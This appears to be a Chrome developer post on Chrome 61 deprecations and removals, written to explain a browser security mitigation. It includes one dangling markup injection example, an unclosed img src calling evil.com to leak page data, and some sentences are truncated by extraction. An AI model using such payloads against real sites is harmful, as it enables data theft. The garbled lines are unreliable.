In nearly every version of Chrome, we see a significant number of updates and improvements to the product, its performance, and also capabilities of the Web Platform. This article describes the deprecations and removals in Chrome 61, which is in beta as of August 3. This list is subject to change at any time.
Security and Privacy
Block resources whose URLs contain '\n' and '<' characters.
There is a type of hacking called dangling markup injection in which a
truncated URL is used to send data to an external endpoint. For example,
consider a page containing
<img src='https://evil.com/?. Because the URL has no
closing quote, browsers will read to the next quote that occurs and treat the
enclosed characters as if it were a single URL.
Chrome 61 mitigates this vulnerability by restricting the character sets
src attributes. Specifically, Chrome will stop
processing URLs when it encounters new line characters (
\n) and less than
Developers with a legitimate use case for new line and less than characters in a URL should instead escape these characters.
Remove usage of notifications from insecure iframes
Permission requests from iframes can confuse users since it is difficult to distinguish between the containing page's origin and the origin of the iframe that is making the request. When the requests scope is unclear, it is difficult for users to judge whether to grant or deny permission.
Disallowing notifications in iframes will also align the requirements for notification permission with that of push notifications, easing friction for developers.
Developers who need this functionality can open a new window to request notification permission.
Deprecate and remove Presentation API on insecure contexts
It's been found that on insecure origins, the Presentation API can be used as a hacking vector on insecure origins. Since displays don't have address bars the API can be used to spoof content. It's also possible to exfiltrate data from running presentation.
In aligning with Blink’s intention to remove powerful features on insecure
origins, we plan to deprecate and
remove support for the Presentation API on insecure contexts. Starting in Chrome
PresentationRequest.start() will no longer function on insecure origins.
Make shadow-piercing descendant combinator behave like descendent combinator
The shadow-piercing descendant combinator (
>>>), part of
CSS Scoping Module Level 1
, was intended to match the children of a particular ancestor element
even when they appeared inside of a shadow tree. This had some limitations.
First, per the spec, it
querySelector() and did not
work in stylesheets. More importantly, browser vendors were unable to make it
work beyond one level of the Shadow DOM.
Consequently, the descendant combinator has been removed from relevant specs including Shadow DOM v1. Rather than break web pages by removing this selector from Chromium, we've chosen instead to alias the shadow-piercing descendent combinator to the descendant combinator. The original behavior was deprecated in Chrome 45. The new behavior is implemented in Chrome 61.
Disallow defining of indexed properties on windows
window = 1;
To keep the platform healthy, we sometimes remove APIs from the Web Platform which have run their course. There can be many reasons why we would remove an API, such as:
- They are superseded by newer APIs.
- They are updated to reflect changes to specifications to bring alignment and consistency with other browsers.
- They are early experiments that never came to fruition in other browsers and thus can increase the burden of support for web developers.
Some of these changes will have an effect on a very small number of sites. To mitigate issues ahead of time, we try to give developers advanced notice so they can make the required changes to keep their sites running.
Chrome currently has a process for deprecations and removals of API's, essentially:
- Announce on the blink-dev mailing list.
- Set warnings and give time scales in the Chrome DevTools Console when usage is detected on the page.
- Wait, monitor, and then remove the feature as usage drops.
You can find a list of all deprecated features on chromestatus.com using the deprecated filter and removed features by applying the removed filter. We will also try to summarize some of the changes, reasoning, and migration paths in these posts.